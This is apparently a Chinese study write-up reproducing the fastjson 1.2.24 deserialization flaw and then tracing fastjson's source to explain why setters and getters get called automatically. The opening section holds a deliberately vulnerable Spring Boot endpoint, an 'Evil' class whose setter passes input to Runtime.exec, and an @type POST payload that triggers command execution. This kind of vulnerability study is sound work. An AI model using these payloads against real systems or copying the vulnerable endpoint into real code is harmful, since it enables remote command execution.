0x01复现
复现过程参照 https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb。
首先搭建环境,新建一个springboot项目,在pom.xml中添加fastjson依赖:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
新增一个路由提供反序列化注入点:
@RestController
public class TestController {
@RequestMapping("/fast1")
public String TestController1(@RequestParam(name = "cmd") String cmd) throws ExportException {
Object obj = JSON.parseObject(cmd, Object.class, Feature.SupportNonPublicField);
System.out.println(obj.getClass().getName());
return cmd;
}
}
写一个恶意类Evil.java,里面包含了setter和getter函数:
public class Evil {
String cmd;
public Evil() {
System.out.println("调用构造函数");
}
public String getCmd() {
System.out.println("调用getName");
return cmd;
}
public void setCmd(String cmd) throws Exception {
System.out.println("调用setName");
this.cmd = cmd;
Runtime.getRuntime().exec(this.cmd);
}
@Override
public String toString() {
return "Evil{" + "cmd='" + cmd + '\'' + "}";
}
}
启动springboot,传入payload,其中包含了Evil类的位置:
POST cmd={"@type":"com.example.demo.Controller.Evil","cmd":"/bin/code"}
即可成功命令执行:
控制台输出如下:
原理大致为:fastjson 1.2.22-1.2.24版本中反序列化时,会自动调用类的setter和getter函数,而用@type
参数可以让fastjson将数据反序列化成我们指定的恶意类,以此可以达到反序列化到任意命令执行的目的。今天摸了,明天再调试分析自动调用的原因。
0x02自动调用原因研究(2022-03-30)
参考前辈们的分析,在com.alibaba.fastjson.util.JavaBeanInfo
的build()
函数中第342行:
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
// come codes ......
if (methodName.startsWith("set")) {
char c3 = methodName.charAt(3);
// ...
}
}
开始了对setter函数的判断,我们在这里下断点,然后调用payload调试分析调用链:
跟踪调用链发现,在DefaultJSONParser.parserObject()
public final Object parseObject(Map object, Object fieldName) {
JSONLexer lexer = this.lexer;
if (lexer.token() == 8) {
lexer.nextToken();
return null;
} else if (lexer.token() != 12 && lexer.token() != 16) {
throw new JSONException("syntax error, expect {, actual " + lexer.tokenName() + ", " + lexer.info());
} else {
// ...
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
}
首先根据token判断是否进入下面的函数块,根据JSONLexeBase.newToken()
可以得知token的值和字符的对应关系,例如{
的token是12,'
是16。继续向下跟进,在第274行对key的值进行了判断,如果为@type
则加载对应值中的类:
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
// JSON.DEFAULT_TYPE_KEY = '@type'
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
// ...
// 然后在第318行对用户指定的类进行反序列化
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
}
继续跟进,在第ParserConfig.getDeserializer()
第318行左右对反序列化的类进行了黑名单的判断:
之后会经过一系列的判断,最后会执行createJavaBeanDeserializer()
创建一个JavaBeanDeserializer
类:
然后跟入JavaBeanInfo.build()
第318行,进行setter和getter函数的判断:
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
// ...
if (methodName.startsWith("set")) {
char c3 = methodName.charAt(3);
String propertyName;
if (!Character.isUpperCase(c3) && c3 <= 512) {
if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else {
if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
continue;
}
propertyName = TypeUtils.decapitalize(methodName.substring(3));
}
// ...
}
}
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));
}
对于setter函数,方法名长度>4、不是静态方法、返回值不为void或自己本身,即可添加到FieldInfo中。
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
// ...
add(fieldList, new FieldInfo(propertyName, method, (Field)null, clazz, type, 0, 0, 0, annotation, (JSONField)null, (String)null));
}
对于getter函数,方法名长度>4、不是静态方法、方法名开头为get、方法名第四位为大写、方法入参个数为0、方法返回的类型必须继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong,即可将getter函数写入FieldInfo。
最后返回JavaBeanInfo
,其中beanInfo
中包含了我们类中的各种信息
return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);
然而这还没有解决为什么会自动调用setter和getter的问题,不用着急,我们接着跟进,在DefaultJSONParser.parserObject()
第319行,我们已经获得了反序列化器,接下来对我们的类调用反序列化:
thisObj = deserializer.deserialze(this, clazz, fieldName);
跟进去后发现进入了asm操作的阶段,没办法显性调试了。但是问题不大,我们可以静态分析。在JavaBeanDeserializer
第284行方法deserialze()
中,对我们的类进行反序列化。第608行中调用了createInstance()
,对类进行实例化,会调用无参数的构造函数。
object = this.createInstance(parser, type);
接下来的第560行,调用了DefaultFieldDeserializer.parseFiled()
if (matchField) {
if (!valueParsed) {
fieldDeser.parseField(parser, object, type, fieldValues);
}
// ...
}
第79行调用了关键函数:
this.setValue(object, value);
跟进FieldDeserializer.setValue()
如果不存在setter、getter、isxx函数,则利用反射机制将value赋值到object上,如果存在这些函数,如果同时存在getter和setter,则调用setter,如果只存在getter则调用getter。至此为止自动调用setter、getter函数的过程分析完了。